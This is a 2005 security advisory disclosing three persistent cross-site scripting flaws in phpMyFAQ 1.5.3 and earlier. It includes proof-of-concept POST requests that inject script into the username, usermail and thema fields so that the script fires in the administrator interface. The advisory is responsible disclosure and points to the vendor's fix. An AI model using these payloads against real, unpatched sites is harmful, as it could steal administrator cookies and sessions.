TKADV2005-11-004.txt

`  
-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
Advisory: Multiple Cross Site Scripting vulnerabilities in  
phpMyFAQ  
Name: TKADV2005-11-004  
Revision: 1.0   
Release Date: 2005/11/19   
Last Modified: 2005/11/19   
Author: Tobias Klein (tk at trapkit.de)  
Affected Software: phpMyFAQ (all versions <= phpMyFAQ 1.5.3)   
Risk: Critical ( ) High (x) Medium ( ) Low ( )   
Vendor URL: http://www.phpmyfaq.de/   
Vendor Status: Vendor has released an updated version   
  
  
=========   
Overview:  
=========   
  
phpMyFAQ is a multilingual, completely database-driven FAQ-system.  
  
Version 1.5.3 and prior contain multiple persistent Cross Site   
Scripting vulnerabilities.   
  
  
======================  
Vulnerability details:   
======================  
  
All the following vulnerabilities are exploitable by an anonymous   
user. Because of that all these issues are rated with a high   
probability of occurrence.  
  
For a description of the calculation of the resulting threat of a   
vulnerability see reference [3].   
  
All vulnerabilities are exploitable, no matter if magic_quotes_gpc  
is turned on or off.  
  
  
[1] Cross Site Scripting  
  
Possible damage: High  
Probability of occurrence: High  
Resulting threat: High  
  
HTTP method: POST  
XSS type: persistent  
  
Vulnerability description:  
  
The "username" parameter is prone to cross-site scripting attacks.   
This could permit an attacker to embed a malicious link into the   
context of the web application that includes hostile client-side   
script code or HTML. If the appropriate site within the application  
is visited, the attacker-supplied code is rendered in the browser   
of the user who visits the site. No further user interaction is   
needed.  
  
URL with vulnerable POST form:  
  
[path_to_phpmyfaq]/faq/index.php?sid=2&lang=en&action=add  
  
Vulnerable POST Parameter: username  
  
Proof of Concept (POST request):  
  
POST [path_to_phpmyfaq]/faq/index.php?sid=2&lang=en&action=save   
HTTP/1.1  
  
Parameter | Value  
------------------------------------------------------  
username | " onmouseover="alert(document.cookie);  
usermail | test  
rubrik%5B%5D | 1  
thema | test  
content | test  
keywords | test  
contentlink | http://  
submit | submit  
------------------------------------------------------  
  
If an administrator now wants to approve this new record within the  
admin interface and moves the mouse pointer over the "Author" form-  
field, the injected script code gets executed.  
  
  
[2] Cross Site Scripting  
  
Possible damage: High  
Probability of occurrence: High  
Resulting threat: High  
  
HTTP method: POST  
XSS type: persistent  
  
Vulnerability description:  
  
The "usermail" parameter is prone to cross-site scripting attacks.   
This could permit an attacker to embed a malicious link into the   
context of the web application that includes hostile client-side   
script code or HTML. If the appropriate site within the application  
is visited, the attacker-supplied code is rendered in the browser   
of the user who visits the site. No further user interaction is   
needed.  
  
URL with vulnerable POST form:  
  
[path_to_phpmyfaq]/faq/index.php?sid=2&lang=en&action=add  
  
Vulnerable POST Parameter: usermail  
  
Proof of Concept (POST request):  
  
POST [path_to_phpmyfaq]/faq/index.php?sid=2&lang=en&action=save   
HTTP/1.1  
  
Parameter | Value  
------------------------------------------------------  
username | test  
usermail | " onmouseover="alert(document.cookie);  
rubrik%5B%5D | 1  
thema | test  
content | test  
keywords | test  
contentlink | http://  
submit | submit  
------------------------------------------------------  
  
If an administrator now wants to approve this new record within the  
admin interface and moves the mouse pointer over the "email adress"  
form-field, the injected script code gets executed.  
  
  
[3] Cross Site Scripting  
  
Possible damage: High  
Probability of occurrence: High  
Resulting threat: High  
  
HTTP method: POST  
XSS type: persistent  
  
Vulnerability description:  
  
The "thema" parameter is prone to cross-site scripting attacks.   
This could permit an attacker to embed a malicious link into the   
context of the web application that includes hostile client-side   
script code or HTML. If the appropriate site within the application  
is visited, the attacker-supplied code is rendered in the browser   
of the user who visits the site. No further user interaction is   
needed.  
  
URL with vulnerable POST form:  
  
[path_to_phpmyfaq]/faq/index.php?sid=2&lang=en&action=add  
  
Vulnerable POST Parameter: thema  
  
Proof of Concept (POST request):  
  
POST [path_to_phpmyfaq]/faq/index.php?sid=2&lang=en&action=save   
HTTP/1.1  
  
Parameter | Value  
------------------------------------------------------  
username | test  
usermail | test  
rubrik%5B%5D | 1  
thema | ' : ''}; alert(document.cookie); //  
content | test  
keywords | test  
contentlink | http://  
submit | submit  
------------------------------------------------------  
  
This special PoC code only works, if it is the last entry in the  
record list.  
  
If an administrator now wants to approve this new record within the  
admin interface and clicks on the appropriate topic, the injected   
script code gets executed.  
  
  
=========   
Solution:   
=========  
  
Upgrade to phpMyFAQ 1.5.4 or newer.  
  
http://www.phpmyfaq.de/download.php  
  
  
========   
History:   
========  
  
2005/11/10 - Vendor notified  
2005/11/11 - Vendor response  
2005/11/18 - Release of new phpMyFAQ version  
2005/11/19 - Public release  
  
  
========   
Credits:   
========  
  
Vulnerabilities found and advisory written by Tobias Klein.  
  
  
===========   
References:   
===========  
  
[1] http://www.phpmyfaq.net/advisory_2005-11-18.php  
[2] http://www.trapkit.de/advisories/TKADV2005-11-004.txt  
[3] http://www.trapkit.de/advisories/TKADVcortav.txt  
  
  
========   
Changes:   
========  
  
Revision 0.1 - Initial draft release to the vendor  
Revision 1.0 - Public release  
  
  
===========  
Disclaimer:  
===========  
  
The information within this advisory may change without notice. Use  
of this information constitutes acceptance for use in an AS IS  
condition. There are no warranties, implied or express, with regard  
to this information. In no event shall the author be liable for any  
direct or indirect damages whatsoever arising out of or in connection  
with the use or spread of this information. Any use of this  
information is at the user's own risk.  
The copyright for any material created by the author is reserved. Any  
duplication of codes or texts provided here in electronic or printed   
publications is not permitted without the author's agreement.  
  
  
==================   
PGP Signature Key:   
==================  
  
http://www.trapkit.de/advisories/tk-advisories-signature-key.asc  
  
  
Copyright 2005 Tobias Klein. All rights reserved.  
  
  
-----BEGIN PGP SIGNATURE-----  
Version: PGP 8.1  
  
iQA/AwUBQ390O5F8YHACG4RBEQLJwwCgySpKE8hBtLs54tV2QhGGZNgyBeYAoJbg  
I3G3GmHU9+pLZ0F6USmRolcK  
=CSfc  
-----END PGP SIGNATURE-----  
`